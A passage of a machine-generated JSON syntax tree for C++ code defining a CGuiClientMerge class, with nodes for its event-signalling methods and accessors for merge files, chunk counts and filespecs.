m_pMerge(pMerge)\n {\n\t m_hEvent= CreateEvent(NULL, FALSE, FALSE, NULL);\n }", "parent": 6, "children": [9, 17], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 21, "column": 5}}, {"id": 9, "type": "ERROR", "text": ":\n CGuiClientMerge(ClientMerge *pMerge)", "parent": 8, "children": [10], "start_point": {"row": 16, "column": 6}, "end_point": {"row": 17, "column": 40}}, {"id": 10, "type": "call_expression", "text": "CGuiClientMerge(ClientMerge *pMerge)", "parent": 9, "children": [11, 12], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 17, "column": 40}}, {"id": 11, "type": "identifier", "text": "CGuiClientMerge", "parent": 10, "children": [], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 17, "column": 19}}, {"id": 12, "type": "argument_list", "text": "(ClientMerge *pMerge)", "parent": 10, "children": [13], "start_point": {"row": 17, "column": 19}, "end_point": {"row": 17, "column": 40}}, {"id": 13, "type": "binary_expression", "text": "ClientMerge *pMerge", "parent": 12, "children": [14, 15, 16], "start_point": {"row": 17, "column": 20}, "end_point": {"row": 17, "column": 39}}, {"id": 14, "type": "identifier", "text": "ClientMerge", "parent": 13, "children": [], "start_point": {"row": 17, "column": 20}, "end_point": {"row": 17, "column": 31}}, {"id": 15, "type": "*", "text": "*", "parent": 13, "children": [], "start_point": {"row": 17, "column": 32}, "end_point": {"row": 17, "column": 33}}, {"id": 16, "type": "identifier", "text": "pMerge", "parent": 13, "children": [], "start_point": {"row": 17, "column": 33}, "end_point": {"row": 17, "column": 39}}, {"id": 17, "type": "ERROR", "text": "m_pMerge(pMerge)", "parent": 8, "children": [18], "start_point": {"row": 18, "column": 10}, "end_point": {"row": 18, "column": 26}}, {"id": 18, "type": "macro_type_specifier", "text": "m_pMerge(pMerge)", "parent": 17, "children": [19, 20], "start_point": {"row": 18, "column": 10}, "end_point": {"row": 18, "column": 26}}, {"id": 19, "type": "identifier", "text": "m_pMerge", "parent": 18, "children": [], "start_point": {"row": 18, "column": 10}, "end_point": {"row": 18, "column": 18}}, {"id": 20, "type": "type_descriptor", "text": "pMerge", "parent": 18, "children": [21], "start_point": {"row": 18, "column": 19}, "end_point": {"row": 18, "column": 25}}, {"id": 21, "type": "type_identifier", "text": "pMerge", "parent": 20, "children": [], "start_point": {"row": 18, "column": 19}, "end_point": {"row": 18, "column": 25}}, {"id": 22, "type": "assignment_expression", "text": "m_hEvent= CreateEvent(NULL, FALSE, FALSE, NULL)", "parent": 8, "children": [23, 24, 25], "start_point": {"row": 20, "column": 5}, "end_point": {"row": 20, "column": 52}}, {"id": 23, "type": "identifier", "text": "m_hEvent", "parent": 22, "children": [], "start_point": {"row": 20, "column": 5}, "end_point": {"row": 20, "column": 13}}, {"id": 24, "type": "=", "text": "=", "parent": 22, "children": [], "start_point": {"row": 20, "column": 13}, "end_point": {"row": 20, "column": 14}}, {"id": 25, "type": "call_expression", "text": "CreateEvent(NULL, FALSE, FALSE, NULL)", "parent": 22, "children": [26, 27], "start_point": {"row": 20, "column": 15}, "end_point": {"row": 20, "column": 52}}, {"id": 26, "type": "identifier", "text": "CreateEvent", "parent": 25, "children": [], "start_point": {"row": 20, "column": 15}, "end_point": {"row": 20, "column": 26}}, {"id": 27, "type": "argument_list", "text": "(NULL, FALSE, FALSE, NULL)", "parent": 25, "children": [28, 30, 31, 32], "start_point": {"row": 20, "column": 26}, "end_point": {"row": 20, "column": 52}}, {"id": 28, "type": "null", "text": "NULL", "parent": 27, "children": [29], "start_point": {"row": 20, "column": 27}, "end_point": {"row": 20, "column": 31}}, {"id": 29, "type": "NULL", "text": "NULL", "parent": 28, "children": [], "start_point": {"row": 20, "column": 27}, "end_point": {"row": 20, "column": 31}}, {"id": 30, "type": "false", "text": "FALSE", "parent": 27, "children": [], "start_point": {"row": 20, "column": 33}, "end_point": {"row": 20, "column": 38}}, {"id": 31, "type": "false", "text": "FALSE", "parent": 27, "children": [], "start_point": {"row": 20, "column": 40}, "end_point": {"row": 20, "column": 45}}, {"id": 32, "type": "null", "text": "NULL", "parent": 27, "children": [33], "start_point": {"row": 20, "column": 47}, "end_point": {"row": 20, "column": 51}}, {"id": 33, "type": "NULL", "text": "NULL", "parent": 32, "children": [], "start_point": {"row": 20, "column": 47}, "end_point": {"row": 20, "column": 51}}, {"id": 34, "type": "function_definition", "text": "void WaitForSignal() { WaitForSingleObject(m_hEvent, INFINITE); }", "parent": 6, "children": [35, 36], "start_point": {"row": 22, "column": 1}, "end_point": {"row": 22, "column": 66}}, {"id": 35, "type": "primitive_type", "text": "void", "parent": 34, "children": [], "start_point": {"row": 22, "column": 1}, "end_point": {"row": 22, "column": 5}}, {"id": 36, "type": "function_declarator", "text": "WaitForSignal()", "parent": 34, "children": [37, 38], "start_point": {"row": 22, "column": 6}, "end_point": {"row": 22, "column": 21}}, {"id": 37, "type": "identifier", "text": "WaitForSignal", "parent": 36, "children": [], "start_point": {"row": 22, "column": 6}, "end_point": {"row": 22, "column": 19}}, {"id": 38, "type": "parameter_list", "text": "()", "parent": 36, "children": [], "start_point": {"row": 22, "column": 19}, "end_point": {"row": 22, "column": 21}}, {"id": 39, "type": "call_expression", "text": "WaitForSingleObject(m_hEvent, INFINITE)", "parent": 34, "children": [40, 41], "start_point": {"row": 22, "column": 24}, "end_point": {"row": 22, "column": 63}}, {"id": 40, "type": "identifier", "text": "WaitForSingleObject", "parent": 39, "children": [], "start_point": {"row": 22, "column": 24}, "end_point": {"row": 22, "column": 43}}, {"id": 41, "type": "argument_list", "text": "(m_hEvent, INFINITE)", "parent": 39, "children": [42, 43], "start_point": {"row": 22, "column": 43}, "end_point": {"row": 22, "column": 63}}, {"id": 42, "type": "identifier", "text": "m_hEvent", "parent": 41, "children": [], "start_point": {"row": 22, "column": 44}, "end_point": {"row": 22, "column": 52}}, {"id": 43, "type": "identifier", "text": "INFINITE", "parent": 41, "children": [], "start_point": {"row": 22, "column": 54}, "end_point": {"row": 22, "column": 62}}, {"id": 44, "type": "function_definition", "text": "BOOL Signal() { return SetEvent(m_hEvent); }", "parent": 6, "children": [45, 46], "start_point": {"row": 23, "column": 1}, "end_point": {"row": 23, "column": 45}}, {"id": 45, "type": "type_identifier", "text": "BOOL", "parent": 44, "children": [], "start_point": {"row": 23, "column": 1}, "end_point": {"row": 23, "column": 5}}, {"id": 46, "type": "function_declarator", "text": "Signal()", "parent": 44, "children": [47, 48], "start_point": {"row": 23, "column": 6}, "end_point": {"row": 23, "column": 14}}, {"id": 47, "type": "identifier", "text": "Signal", "parent": 46, "children": [], "start_point": {"row": 23, "column": 6}, "end_point": {"row": 23, "column": 12}}, {"id": 48, "type": "parameter_list", "text": "()", "parent": 46, "children": [], "start_point": {"row": 23, "column": 12}, "end_point": {"row": 23, "column": 14}}, {"id": 49, "type": "return_statement", "text": "return SetEvent(m_hEvent);", "parent": 44, "children": [50], "start_point": {"row": 23, "column": 17}, "end_point": {"row": 23, "column": 43}}, {"id": 50, "type": "call_expression", "text": "SetEvent(m_hEvent)", "parent": 49, "children": [51, 52], "start_point": {"row": 23, "column": 24}, "end_point": {"row": 23, "column": 42}}, {"id": 51, "type": "identifier", "text": "SetEvent", "parent": 50, "children": [], "start_point": {"row": 23, "column": 24}, "end_point": {"row": 23, "column": 32}}, {"id": 52, "type": "argument_list", "text": "(m_hEvent)", "parent": 50, "children": [53], "start_point": {"row": 23, "column": 32}, "end_point": {"row": 23, "column": 42}}, {"id": 53, "type": "identifier", "text": "m_hEvent", "parent": 52, "children": [], "start_point": {"row": 23, "column": 33}, "end_point": {"row": 23, "column": 41}}, {"id": 54, "type": "function_definition", "text": "FileSys *YourFile() { return m_pMerge->GetYourFile(); }", "parent": 6, "children": [55, 56], "start_point": {"row": 25, "column": 1}, "end_point": {"row": 25, "column": 56}}, {"id": 55, "type": "type_identifier", "text": "FileSys", "parent": 54, "children": [], "start_point": {"row": 25, "column": 1}, "end_point": {"row": 25, "column": 8}}, {"id": 56, "type": "pointer_declarator", "text": "*YourFile()", "parent": 54, "children": [57, 58], "start_point": {"row": 25, "column": 9}, "end_point": {"row": 25, "column": 20}}, {"id": 57, "type": "*", "text": "*", "parent": 56, "children": [], "start_point": {"row": 25, "column": 9}, "end_point": {"row": 25, "column": 10}}, {"id": 58, "type": "function_declarator", "text": "YourFile()", "parent": 56, "children": [59, 60], "start_point": {"row": 25, "column": 10}, "end_point": {"row": 25, "column": 20}}, {"id": 59, "type": "identifier", "text": "YourFile", "parent": 58, "children": [], "start_point": {"row": 25, "column": 10}, "end_point": {"row": 25, "column": 18}}, {"id": 60, "type": "parameter_list", "text": "()", "parent": 58, "children": [], "start_point": {"row": 25, "column": 18}, "end_point": {"row": 25, "column": 20}}, {"id": 61, "type": "return_statement", "text": "return m_pMerge->GetYourFile();", "parent": 54, "children": [62], "start_point": {"row": 25, "column": 23}, "end_point": {"row": 25, "column": 54}}, {"id": 62, "type": "call_expression", "text": "m_pMerge->GetYourFile()", "parent": 61, "children": [63, 66], "start_point": {"row": 25, "column": 30}, "end_point": {"row": 25, "column": 53}}, {"id": 63, "type": "field_expression", "text": "m_pMerge->GetYourFile", "parent": 62, "children": [64, 65], "start_point": {"row": 25, "column": 30}, "end_point": {"row": 25, "column": 51}}, {"id": 64, "type": "identifier", "text": "m_pMerge", "parent": 63, "children": [], "start_point": {"row": 25, "column": 30}, "end_point": {"row": 25, "column": 38}}, {"id": 65, "type": "field_identifier", "text": "GetYourFile", "parent": 63, "children": [], "start_point": {"row": 25, "column": 40}, "end_point": {"row": 25, "column": 51}}, {"id": 66, "type": "argument_list", "text": "()", "parent": 62, "children": [], "start_point": {"row": 25, "column": 51}, "end_point": {"row": 25, "column": 53}}, {"id": 67, "type": "function_definition", "text": "FileSys *TheirFile() { return m_pMerge->GetTheirFile(); }", "parent": 6, "children": [68, 69], "start_point": {"row": 26, "column": 1}, "end_point": {"row": 26, "column": 58}}, {"id": 68, "type": "type_identifier", "text": "FileSys", "parent": 67, "children": [], "start_point": {"row": 26, "column": 1}, "end_point": {"row": 26, "column": 8}}, {"id": 69, "type": "pointer_declarator", "text": "*TheirFile()", "parent": 67, "children": [70, 71], "start_point": {"row": 26, "column": 9}, "end_point": {"row": 26, "column": 21}}, {"id": 70, "type": "*", "text": "*", "parent": 69, "children": [], "start_point": {"row": 26, "column": 9}, "end_point": {"row": 26, "column": 10}}, {"id": 71, "type": "function_declarator", "text": "TheirFile()", "parent": 69, "children": [72, 73], "start_point": {"row": 26, "column": 10}, "end_point": {"row": 26, "column": 21}}, {"id": 72, "type": "identifier", "text": "TheirFile", "parent": 71, "children": [], "start_point": {"row": 26, "column": 10}, "end_point": {"row": 26, "column": 19}}, {"id": 73, "type": "parameter_list", "text": "()", "parent": 71, "children": [], "start_point": {"row": 26, "column": 19}, "end_point": {"row": 26, "column": 21}}, {"id": 74, "type": "return_statement", "text": "return m_pMerge->GetTheirFile();", "parent": 67, "children": [75], "start_point": {"row": 26, "column": 24}, "end_point": {"row": 26, "column": 56}}, {"id": 75, "type": "call_expression", "text": "m_pMerge->GetTheirFile()", "parent": 74, "children": [76, 79], "start_point": {"row": 26, "column": 31}, "end_point": {"row": 26, "column": 55}}, {"id": 76, "type": "field_expression", "text": "m_pMerge->GetTheirFile", "parent": 75, "children": [77, 78], "start_point": {"row": 26, "column": 31}, "end_point": {"row": 26, "column": 53}}, {"id": 77, "type": "identifier", "text": "m_pMerge", "parent": 76, "children": [], "start_point": {"row": 26, "column": 31}, "end_point": {"row": 26, "column": 39}}, {"id": 78, "type": "field_identifier", "text": "GetTheirFile", "parent": 76, "children": [], "start_point": {"row": 26, "column": 41}, "end_point": {"row": 26, "column": 53}}, {"id": 79, "type": "argument_list", "text": "()", "parent": 75, "children": [], "start_point": {"row": 26, "column": 53}, "end_point": {"row": 26, "column": 55}}, {"id": 80, "type": "function_definition", "text": "FileSys *BaseFile() { return m_pMerge->GetBaseFile(); }", "parent": 6, "children": [81, 82], "start_point": {"row": 27, "column": 1}, "end_point": {"row": 27, "column": 56}}, {"id": 81, "type": "type_identifier", "text": "FileSys", "parent": 80, "children": [], "start_point": {"row": 27, "column": 1}, "end_point": {"row": 27, "column": 8}}, {"id": 82, "type": "pointer_declarator", "text": "*BaseFile()", "parent": 80, "children": [83, 84], "start_point": {"row": 27, "column": 9}, "end_point": {"row": 27, "column": 20}}, {"id": 83, "type": "*", "text": "*", "parent": 82, "children": [], "start_point": {"row": 27, "column": 9}, "end_point": {"row": 27, "column": 10}}, {"id": 84, "type": "function_declarator", "text": "BaseFile()", "parent": 82, "children": [85, 86], "start_point": {"row": 27, "column": 10}, "end_point": {"row": 27, "column": 20}}, {"id": 85, "type": "identifier", "text": "BaseFile", "parent": 84, "children": [], "start_point": {"row": 27, "column": 10}, "end_point": {"row": 27, "column": 18}}, {"id": 86, "type": "parameter_list", "text": "()", "parent": 84, "children": [], "start_point": {"row": 27, "column": 18}, "end_point": {"row": 27, "column": 20}}, {"id": 87, "type": "return_statement", "text": "return m_pMerge->GetBaseFile();", "parent": 80, "children": [88], "start_point": {"row": 27, "column": 23}, "end_point": {"row": 27, "column": 54}}, {"id": 88, "type": "call_expression", "text": "m_pMerge->GetBaseFile()", "parent": 87, "children": [89, 92], "start_point": {"row": 27, "column": 30}, "end_point": {"row": 27, "column": 53}}, {"id": 89, "type": "field_expression", "text": "m_pMerge->GetBaseFile", "parent": 88, "children": [90, 91], "start_point": {"row": 27, "column": 30}, "end_point": {"row": 27, "column": 51}}, {"id": 90, "type": "identifier", "text": "m_pMerge", "parent": 89, "children": [], "start_point": {"row": 27, "column": 30}, "end_point": {"row": 27, "column": 38}}, {"id": 91, "type": "field_identifier", "text": "GetBaseFile", "parent": 89, "children": [], "start_point": {"row": 27, "column": 40}, "end_point": {"row": 27, "column": 51}}, {"id": 92, "type": "argument_list", "text": "()", "parent": 88, "children": [], "start_point": {"row": 27, "column": 51}, "end_point": {"row": 27, "column": 53}}, {"id": 93, "type": "function_definition", "text": "FileSys *ResultFile() { return m_pMerge->GetResultFile(); }", "parent": 6, "children": [94, 95], "start_point": {"row": 28, "column": 1}, "end_point": {"row": 28, "column": 60}}, {"id": 94, "type": "type_identifier", "text": "FileSys", "parent": 93, "children": [], "start_point": {"row": 28, "column": 1}, "end_point": {"row": 28, "column": 8}}, {"id": 95, "type": "pointer_declarator", "text": "*ResultFile()", "parent": 93, "children": [96, 97], "start_point": {"row": 28, "column": 9}, "end_point": {"row": 28, "column": 22}}, {"id": 96, "type": "*", "text": "*", "parent": 95, "children": [], "start_point": {"row": 28, "column": 9}, "end_point": {"row": 28, "column": 10}}, {"id": 97, "type": "function_declarator", "text": "ResultFile()", "parent": 95, "children": [98, 99], "start_point": {"row": 28, "column": 10}, "end_point": {"row": 28, "column": 22}}, {"id": 98, "type": "identifier", "text": "ResultFile", "parent": 97, "children": [], "start_point": {"row": 28, "column": 10}, "end_point": {"row": 28, "column": 20}}, {"id": 99, "type": "parameter_list", "text": "()", "parent": 97, "children": [], "start_point": {"row": 28, "column": 20}, "end_point": {"row": 28, "column": 22}}, {"id": 100, "type": "return_statement", "text": "return m_pMerge->GetResultFile();", "parent": 93, "children": [101], "start_point": {"row": 28, "column": 25}, "end_point": {"row": 28, "column": 58}}, {"id": 101, "type": "call_expression", "text": "m_pMerge->GetResultFile()", "parent": 100, "children": [102, 105], "start_point": {"row": 28, "column": 32}, "end_point": {"row": 28, "column": 57}}, {"id": 102, "type": "field_expression", "text": "m_pMerge->GetResultFile", "parent": 101, "children": [103, 104], "start_point": {"row": 28, "column": 32}, "end_point": {"row": 28, "column": 55}}, {"id": 103, "type": "identifier", "text": "m_pMerge", "parent": 102, "children": [], "start_point": {"row": 28, "column": 32}, "end_point": {"row": 28, "column": 40}}, {"id": 104, "type": "field_identifier", "text": "GetResultFile", "parent": 102, "children": [], "start_point": {"row": 28, "column": 42}, "end_point": {"row": 28, "column": 55}}, {"id": 105, "type": "argument_list", "text": "()", "parent": 101, "children": [], "start_point": {"row": 28, "column": 55}, "end_point": {"row": 28, "column": 57}}, {"id": 106, "type": "ERROR", "text": "int GetBothChunks() const", "parent": 6, "children": [107, 108], "start_point": {"row": 30, "column": 1}, "end_point": {"row": 30, "column": 26}}, {"id": 107, "type": "primitive_type", "text": "int", "parent": 106, "children": [], "start_point": {"row": 30, "column": 1}, "end_point": {"row": 30, "column": 4}}, {"id": 108, "type": "function_declarator", "text": "GetBothChunks()", "parent": 106, "children": [109, 110], "start_point": {"row": 30, "column": 5}, "end_point": {"row": 30, "column": 20}}, {"id": 109, "type": "identifier", "text": "GetBothChunks", "parent": 108, "children": [], "start_point": {"row": 30, "column": 5}, "end_point": {"row": 30, "column": 18}}, {"id": 110, "type": "parameter_list", "text": "()", "parent": 108, "children": [], "start_point": {"row": 30, "column": 18}, "end_point": {"row": 30, "column": 20}}, {"id": 111, "type": "return_statement", "text": "return m_pMerge->GetBothChunks();", "parent": 6, "children": [112], "start_point": {"row": 30, "column": 29}, "end_point": {"row": 30, "column": 62}}, {"id": 112, "type": "call_expression", "text": "m_pMerge->GetBothChunks()", "parent": 111, "children": [113, 116], "start_point": {"row": 30, "column": 36}, "end_point": {"row": 30, "column": 61}}, {"id": 113, "type": "field_expression", "text": "m_pMerge->GetBothChunks", "parent": 112, "children": [114, 115], "start_point": {"row": 30, "column": 36}, "end_point": {"row": 30, "column": 59}}, {"id": 114, "type": "identifier", "text": "m_pMerge", "parent": 113, "children": [], "start_point": {"row": 30, "column": 36}, "end_point": {"row": 30, "column": 44}}, {"id": 115, "type": "field_identifier", "text": "GetBothChunks", "parent": 113, "children": [], "start_point": {"row": 30, "column": 46}, "end_point": {"row": 30, "column": 59}}, {"id": 116, "type": "argument_list", "text": "()", "parent": 112, "children": [], "start_point": {"row": 30, "column": 59}, "end_point": {"row": 30, "column": 61}}, {"id": 117, "type": "ERROR", "text": "int GetYourChunks() const", "parent": 6, "children": [118, 119], "start_point": {"row": 31, "column": 1}, "end_point": {"row": 31, "column": 26}}, {"id": 118, "type": "primitive_type", "text": "int", "parent": 117, "children": [], "start_point": {"row": 31, "column": 1}, "end_point": {"row": 31, "column": 4}}, {"id": 119, "type": "function_declarator", "text": "GetYourChunks()", "parent": 117, "children": [120, 121], "start_point": {"row": 31, "column": 5}, "end_point": {"row": 31, "column": 20}}, {"id": 120, "type": "identifier", "text": "GetYourChunks", "parent": 119, "children": [], "start_point": {"row": 31, "column": 5}, "end_point": {"row": 31, "column": 18}}, {"id": 121, "type": "parameter_list", "text": "()", "parent": 119, "children": [], "start_point": {"row": 31, "column": 18}, "end_point": {"row": 31, "column": 20}}, {"id": 122, "type": "return_statement", "text": "return m_pMerge->GetYourChunks();", "parent": 6, "children": [123], "start_point": {"row": 31, "column": 29}, "end_point": {"row": 31, "column": 62}}, {"id": 123, "type": "call_expression", "text": "m_pMerge->GetYourChunks()", "parent": 122, "children": [124, 127], "start_point": {"row": 31, "column": 36}, "end_point": {"row": 31, "column": 61}}, {"id": 124, "type": "field_expression", "text": "m_pMerge->GetYourChunks", "parent": 123, "children": [125, 126], "start_point": {"row": 31, "column": 36}, "end_point": {"row": 31, "column": 59}}, {"id": 125, "type": "identifier", "text": "m_pMerge", "parent": 124, "children": [], "start_point": {"row": 31, "column": 36}, "end_point": {"row": 31, "column": 44}}, {"id": 126, "type": "field_identifier", "text": "GetYourChunks", "parent": 124, "children": [], "start_point": {"row": 31, "column": 46}, "end_point": {"row": 31, "column": 59}}, {"id": 127, "type": "argument_list", "text": "()", "parent": 123, "children": [], "start_point": {"row": 31, "column": 59}, "end_point": {"row": 31, "column": 61}}, {"id": 128, "type": "ERROR", "text": "int GetConflictChunks() const", "parent": 6, "children": [129, 130], "start_point": {"row": 32, "column": 1}, "end_point": {"row": 32, "column": 30}}, {"id": 129, "type": "primitive_type", "text": "int", "parent": 128, "children": [], "start_point": {"row": 32, "column": 1}, "end_point": {"row": 32, "column": 4}}, {"id": 130, "type": "function_declarator", "text": "GetConflictChunks()", "parent": 128, "children": [131, 132], "start_point": {"row": 32, "column": 5}, "end_point": {"row": 32, "column": 24}}, {"id": 131, "type": "identifier", "text": "GetConflictChunks", "parent": 130, "children": [], "start_point": {"row": 32, "column": 5}, "end_point": {"row": 32, "column": 22}}, {"id": 132, "type": "parameter_list", "text": "()", "parent": 130, "children": [], "start_point": {"row": 32, "column": 22}, "end_point": {"row": 32, "column": 24}}, {"id": 133, "type": "return_statement", "text": "return m_pMerge->GetConflictChunks();", "parent": 6, "children": [134], "start_point": {"row": 32, "column": 33}, "end_point": {"row": 32, "column": 70}}, {"id": 134, "type": "call_expression", "text": "m_pMerge->GetConflictChunks()", "parent": 133, "children": [135, 138], "start_point": {"row": 32, "column": 40}, "end_point": {"row": 32, "column": 69}}, {"id": 135, "type": "field_expression", "text": "m_pMerge->GetConflictChunks", "parent": 134, "children": [136, 137], "start_point": {"row": 32, "column": 40}, "end_point": {"row": 32, "column": 67}}, {"id": 136, "type": "identifier", "text": "m_pMerge", "parent": 135, "children": [], "start_point": {"row": 32, "column": 40}, "end_point": {"row": 32, "column": 48}}, {"id": 137, "type": "field_identifier", "text": "GetConflictChunks", "parent": 135, "children": [], "start_point": {"row": 32, "column": 50}, "end_point": {"row": 32, "column": 67}}, {"id": 138, "type": "argument_list", "text": "()", "parent": 134, "children": [], "start_point": {"row": 32, "column": 67}, "end_point": {"row": 32, "column": 69}}, {"id": 139, "type": "ERROR", "text": "int GetTheirChunks() const", "parent": 6, "children": [140, 141], "start_point": {"row": 33, "column": 1}, "end_point": {"row": 33, "column": 27}}, {"id": 140, "type": "primitive_type", "text": "int", "parent": 139, "children": [], "start_point": {"row": 33, "column": 1}, "end_point": {"row": 33, "column": 4}}, {"id": 141, "type": "function_declarator", "text": "GetTheirChunks()", "parent": 139, "children": [142, 143], "start_point": {"row": 33, "column": 5}, "end_point": {"row": 33, "column": 21}}, {"id": 142, "type": "identifier", "text": "GetTheirChunks", "parent": 141, "children": [], "start_point": {"row": 33, "column": 5}, "end_point": {"row": 33, "column": 19}}, {"id": 143, "type": "parameter_list", "text": "()", "parent": 141, "children": [], "start_point": {"row": 33, "column": 19}, "end_point": {"row": 33, "column": 21}}, {"id": 144, "type": "return_statement", "text": "return m_pMerge->GetTheirChunks();", "parent": 6, "children": [145], "start_point": {"row": 33, "column": 30}, "end_point": {"row": 33, "column": 64}}, {"id": 145, "type": "call_expression", "text": "m_pMerge->GetTheirChunks()", "parent": 144, "children": [146, 149], "start_point": {"row": 33, "column": 37}, "end_point": {"row": 33, "column": 63}}, {"id": 146, "type": "field_expression", "text": "m_pMerge->GetTheirChunks", "parent": 145, "children": [147, 148], "start_point": {"row": 33, "column": 37}, "end_point": {"row": 33, "column": 61}}, {"id": 147, "type": "identifier", "text": "m_pMerge", "parent": 146, "children": [], "start_point": {"row": 33, "column": 37}, "end_point": {"row": 33, "column": 45}}, {"id": 148, "type": "field_identifier", "text": "GetTheirChunks", "parent": 146, "children": [], "start_point": {"row": 33, "column": 47}, "end_point": {"row": 33, "column": 61}}, {"id": 149, "type": "argument_list", "text": "()", "parent": 145, "children": [], "start_point": {"row": 33, "column": 61}, "end_point": {"row": 33, "column": 63}}, {"id": 150, "type": "ERROR", "text": "bool IsAcceptable() const", "parent": 6, "children": [151, 152], "start_point": {"row": 35, "column": 4}, "end_point": {"row": 35, "column": 29}}, {"id": 151, "type": "primitive_type", "text": "bool", "parent": 150, "children": [], "start_point": {"row": 35, "column": 4}, "end_point": {"row": 35, "column": 8}}, {"id": 152, "type": "function_declarator", "text": "IsAcceptable()", "parent": 150, "children": [153, 154], "start_point": {"row": 35, "column": 9}, "end_point": {"row": 35, "column": 23}}, {"id": 153, "type": "identifier", "text": "IsAcceptable", "parent": 152, "children": [], "start_point": {"row": 35, "column": 9}, "end_point": {"row": 35, "column": 21}}, {"id": 154, "type": "parameter_list", "text": "()", "parent": 152, "children": [], "start_point": {"row": 35, "column": 21}, "end_point": {"row": 35, "column": 23}}, {"id": 155, "type": "return_statement", "text": "return m_pMerge->IsAcceptable() == 1;", "parent": 6, "children": [156], "start_point": {"row": 35, "column": 32}, "end_point": {"row": 35, "column": 69}}, {"id": 156, "type": "binary_expression", "text": "m_pMerge->IsAcceptable() == 1", "parent": 155, "children": [157, 162, 163], "start_point": {"row": 35, "column": 39}, "end_point": {"row": 35, "column": 68}}, {"id": 157, "type": "call_expression", "text": "m_pMerge->IsAcceptable()", "parent": 156, "children": [158, 161], "start_point": {"row": 35, "column": 39}, "end_point": {"row": 35, "column": 63}}, {"id": 158, "type": "field_expression", "text": "m_pMerge->IsAcceptable", "parent": 157, "children": [159, 160], "start_point": {"row": 35, "column": 39}, "end_point": {"row": 35, "column": 61}}, {"id": 159, "type": "identifier", "text": "m_pMerge", "parent": 158, "children": [], "start_point": {"row": 35, "column": 39}, "end_point": {"row": 35, "column": 47}}, {"id": 160, "type": "field_identifier", "text": "IsAcceptable", "parent": 158, "children": [], "start_point": {"row": 35, "column": 49}, "end_point": {"row": 35, "column": 61}}, {"id": 161, "type": "argument_list", "text": "()", "parent": 157, "children": [], "start_point": {"row": 35, "column": 61}, "end_point": {"row": 35, "column": 63}}, {"id": 162, "type": "==", "text": "==", "parent": 156, "children": [], "start_point": {"row": 35, "column": 64}, "end_point": {"row": 35, "column": 66}}, {"id": 163, "type": "number_literal", "text": "1", "parent": 156, "children": [], "start_point": {"row": 35, "column": 67}, "end_point": {"row": 35, "column": 68}}, {"id": 164, "type": "function_definition", "text": "void SetFilespec(LPCTSTR filespec) { m_filespec = filespec; }", "parent": 6, "children": [165, 166], "start_point": {"row": 37, "column": 4}, "end_point": {"row": 37, "column": 65}}, {"id": 165, "type": "primitive_type", "text": "void", "parent": 164, "children": [], "start_point": {"row": 37, "column": 4}, "end_point": {"row": 37, "column": 8}}, {"id": 166, "type": "function_declarator", "text": "SetFilespec(LPCTSTR filespec)", "parent": 164, "children": [167, 168], "start_point": {"row": 37, "column": 9}, "end_point": {"row": 37, "column": 38}}, {"id": 167, "type": "identifier", "text": "SetFilespec", "parent": 166, "children": [], "start_point": {"row": 37, "column": 9}, "end_point": {"row": 37, "column": 20}}, {"id": 168, "type": "parameter_list", "text": "(LPCTSTR filespec)", "parent": 166, "children": [169], "start_point": {"row": 37, "column": 20}, "end_point": {"row": 37, "column": 38}}, {"id": 169, "type": "parameter_declaration", "text": "LPCTSTR filespec", "parent": 168, "children": [170, 171], "start_point": {"row": 37, "column": 21}, "end_point": {"row": 37, "column": 37}}, {"id": 170, "type": "type_identifier", "text": "LPCTSTR", "parent": 169, "children": [], "start_point": {"row": 37, "column": 21}, "end_point": {"row": 37, "column": 28}}, {"id": 171, "type": "identifier", "text": "filespec", "parent": 169, "children": [], "start_point": {"row": 37, "column": 29}, "end_point": {"row": 37, "column": 37}}, {"id": 172, "type": "assignment_expression", "text": "m_filespec = filespec", "parent": 164, "children": [173, 174, 175], "start_point": {"row": 37, "column": 41}, "end_point": {"row": 37, "column": 62}}, {"id": 173, "type": "identifier", "text": "m_filespec", "parent": 172, "children": [], "start_point": {"row": 37, "column": 41}, "end_point": {"row": 37, "column": 51}}, {"id": 174, "type": "=", "text": "=", "parent": 172, "children": [], "start_point": {"row": 37, "column": 52}, "end_point": {"row": 37, "column": 53}}, {"id": 175, "type": "identifier", "text": "filespec", "parent": 172, "children": [], "start_point": {"row": 37, "column": 54}, "end_point": {"row": 37, "column": 62}}, {"id": 176, "type": "function_definition", "text": "CString GetFilespec() { return m_filespec; }", "parent": 6, "children": [177, 178], "start_point": {"row": 38, "column": 4}, "end_point": {"row": 38, "column": 48}}, {"id": 177, "type": "type_identifier", "text": "CString", "parent": 176, "children": [], "start_point": {"row": 38, "column": 4}, "end_point": {"row": 38, "column": 11}}, {"id": 178, "type": "function_declarator", "text": "GetFilespec()", "parent": 176, "children": [179, 180], "start_point": {"row": 38, "column": 12}, "end_point": {"row": 38, "column": 25}}, {"id": 179, "type": "identifier", "text": "GetFilespec", "parent": 178, "children": [], "start_point": {"row": 38, "column": 12}, "end_point": {"row": 38, "column": 23}}, {"id": 180, "type": "parameter_list", "text": "()", "parent": 178, "children": [], "start_point": {"row": 38, "column": 23}, "end_point": {"row": 38, "column": 25}}, {"id": 181, "type": "return_statement", "text": "return m_filespec;", "parent": 176, "children": [182], "start_point": {"row": 38, "column": 28}, "end_point": {"row": 38, "column": 46}}, {"id": 182, "type": "identifier", "text": "m_filespec", "parent": 181, "children": [], "start_point": {"row": 38, "column": 35}, "end_point": {"row": 38, "column": 45}}, {"id": 183, "type": "function_definition", "text": "void SetBaseFileName(LPCTSTR baseFileName) { m_baseFileName = baseFileName; }", "parent": 6, "children": [184, 185], "start_point": {"row": 39, "column": 4}, "end_point": {"row": 39, "column": 81}}, {"id": 184, "type": "primitive_type", "text": "void", "parent": 183, "children": [], "start_point": {"row": 39, "column": 4}, "end_point": {"row": 39, "column": 8}}, {"id": 185, "type": "function_declarator", "text": "SetBaseFileName(LPCTSTR baseFileName)", "parent": 183, "children": [186, 187], "start_point": {"row": 39, "column": 9}, "end_point": {"row": 39, "column": 46}}, {"id": 186, "type": "identifier", "text": "SetBaseFileName", "parent": 185, "children": [], "start_point": {"row": 39, "column": 9}, "end_point": {"row": 39, "column": 24}}, {"id": 187, "type": "parameter_list", "text": "(LPCTSTR baseFileName)", "parent": 185, "children": [188], "start_point": {"row": 39, "column": 24}, "end_point": {"row": 39, "column": 46}}, {"id": 188, "type": "parameter_declaration", "text": "LPCTSTR baseFileName", "parent": 187, "children": [189, 190], "start_point": {"row": 39, "column": 25}, "end_point": {"row": 39, "column": 45}}, {"id": 189, "type": "type_identifier", "text": "LPCTSTR", "parent": 188, "children": [], "start_point": 